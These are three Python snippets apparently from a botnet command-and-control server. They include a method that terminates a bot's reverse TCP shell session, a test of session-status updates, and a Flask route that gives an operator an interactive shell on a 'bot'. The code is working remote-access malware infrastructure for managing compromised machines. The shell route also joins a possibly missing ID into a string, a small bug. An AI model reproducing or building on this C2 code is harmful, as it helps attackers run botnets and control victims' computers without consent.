def kill(self): """ Kill the reverse TCP shell session """ # get session attributes owner = self.info['owner'] session_id = self.info['id'] session_uid = self.info['uid'] # get owner sessions owner_sessions = self.c2.sessions.get(owner) # find this session in owner sessions if session_uid in owner_sessions: session = owner_sessions[session_uid] # set session status as offline in database session_dao.update_session_status(session_uid, 0) # send kill command to client and shutdown the connection try: session.send_task({"task": "kill"}) session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() except: pass _ = owner_sessions.pop(session_uid, None) util.log('Session {}:{} disconnected'.format(owner, session_uid)) else: util.log('Session {}:{} is already offline.'.format( owner, session_uid))
def test_update_session_status(app_client, new_session): """ Given a session, when the session_dao.update_session_status is called, check that the 'online' attribute of session metadata is correctly updated in the database. """ # toggle online/offline status prev_status = new_session.online new_status = False if new_session.online else True session_dao.update_session_status(new_session.uid, new_status) # check if it was updated correctly session = session_dao.get_session(new_session.uid) assert session is not None assert session.online == new_status
def shell(): """Interact with a client session. Commands entered in JQuery terminal on the front-end are sent to back to the Python back-end via POST to the API endpoint /cmd, where it can directly call the C2 server's send_task and recv_task methods to transmit encrypted tasks/results via TCP connection.""" session_uid = request.args.get('session_uid') # validate session id is valid integer if not session_uid: flash("Invalid bot UID: " + session_uid) return redirect(url_for('main.sessions')) # get current user sessions owner_sessions = server.c2.sessions.get(current_user.username) # check if owner has any active sessions if not owner_sessions: session_dao.update_session_status(session_uid, 0) flash("You have no bots online.", "danger") return redirect(url_for('main.sessions')) # check if requested session is owned by current user if session_uid not in owner_sessions: session_dao.update_session_status(session_uid, 0) flash("Invalid bot UID: " + str(session_uid)) return redirect(url_for('main.sessions')) # get requested session session_thread = owner_sessions.get(session_uid) # if session is online, authenticate user and enter shell if session_thread: if session_thread.info['owner'] == current_user.username: return render_template("shell.html", session_uid=session_uid, info=session_thread.info, title="Shell") else: flash("Bot not owned by current user.", "danger") return redirect(url_for('main.sessions')) # if bot is offline, update status in database and notify user else: session_dao.update_session_status(session_uid, 0) flash("Bot is offline.", "danger") return redirect(url_for('main.sessions'))